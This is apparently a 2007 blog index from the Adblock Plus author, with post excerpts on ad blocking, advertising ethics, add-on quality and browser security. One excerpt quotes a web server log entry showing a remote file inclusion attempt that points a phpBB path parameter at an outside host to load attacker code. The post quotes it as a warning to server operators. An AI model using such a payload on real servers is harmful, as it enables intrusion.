Adblock Plus and (a little) more
Recognizing third-party content · 2007-01-31 16:07 by Wladimir Palant
I have done all the preparation work so that now I can finally implement the $third-party filter option allowing to restrict filters to third-party or same-party content. This would be used for filters like */banners/*$third-party — if some webmaster is crazy enough to call the directory with site logos “banners” those still won’t be blocked. This filter will only block something coming from the directory “banners” on a different server.
The Sorry State of Online Advertising · 2007-01-31 00:18 by Wladimir Palant
Advertising online is at an all-time low. Users are constantly bombarded by advertisements that seem to be getting larger and more visually obtrusive by the minute. Online advertisements seem to have little or nothing to do with the site’s content and lack any sense of respect for the user. Even though it is a well-known fact that internet users detest ads, the same horrendous model is shoved down their throats. It is as if site creators have just accepted that the advertising status quo is the only way to generate ad revenue and they expect that the users will have to “deal with it”.
Read The Sorry State of Online Advertising by P.J. Onori.
Anatomy of ads · 2007-01-25 18:57 by Wladimir Palant
I would like to take a look at the different costs connected to ads. Most of the time, the only cost people consider is our attention — ads are designed to be distractive, they don’t let us concentrate on what we are doing. Jeff Atwood analyzed the space occupied by ads in comparison to content on a particular page and came to alarming results. I want to pick another page to look at the other aspects.
A World of Endless Advertisements · 2007-01-22 03:29 by Wladimir Palant
Jeff Atwood wrote an interesting article on the craziness of internet advertising. I’m not commenting on it yet so just read it yourself: A World of Endless Advertisements. Don’t forget to read the comments. Some of my own thoughts on this topic: Ethics of blocking ads – part 3
Running a web server is dangerous · 2007-01-17 15:57 by Wladimir Palant
I guess some of you run a web server. Maybe you have noticed entries like this one in your logs:
"GET /forum/admin/admin_styles.php?phpbb_root_path=http://some.server.name/0wn/mail.txt?%5d\r HTTP/1.1" 302 5 "-" "-"
Happy Birthday Adblock Plus! · 2007-01-17 07:00 by Wladimir Palant
Do you remember? The very first Adblock Plus 0.6 came out one year ago (at least if you don’t count mcm’s Adblock Plus which was a very different extension). Since then we had 18 releases and almost three million downloads on addons.mozilla.org. The support forum currently counts 249 members (mind you, registration is not mandatory) and over 1000 threads with almost 9000 posts. Altogether this site had over 1 million visits in the 7 months that it existed. That’s some numbers one doesn’t need to be ashamed of.
Fighting ad blockers - the Microsoft style · 2007-01-16 20:05 by Wladimir Palant
I received a mail from a confused user. She wasn’t able to log into her Hotmail account so she mailed Windows Live support. And the support folks over at Microsoft didn’t need any additional information to find the reason: “it appears that your Firefox browser settings are not optimized”. Now, how does one optimize the browser settings according to Microsoft?
Speaking of IE security... · 2007-01-12 14:49 by Wladimir Palant
I recently linked to an article stating that users of Internet Explorer have been exposed to known critical vulnerabilities for 284 days last year. That sounds bad enough but unfortunately it is not all.
AMO moving into the right direction · 2007-01-12 02:21 by Wladimir Palant
Thanks to morgamic for telling me this, I probably wouldn’t have noticed otherwise — Addons.Mozilla.Org has made a first move towards raising the quality bar. The autogenerated spyware-infested Conduit-based toolbars have been disabled, all 93 of them. Any new submissions will be automatically rejected. Way to go, AMO!
Hit counts for element hiding: coming · 2007-01-11 15:43 by Wladimir Palant
Recently I wrote about a solution I came up with to provide hit counts for element hiding. However, it uses XBL with the consequence that it would not work when JavaScript is disable and it would probably also slow down browsing. And only today I found the solution that should be obvious, without the disadvantages.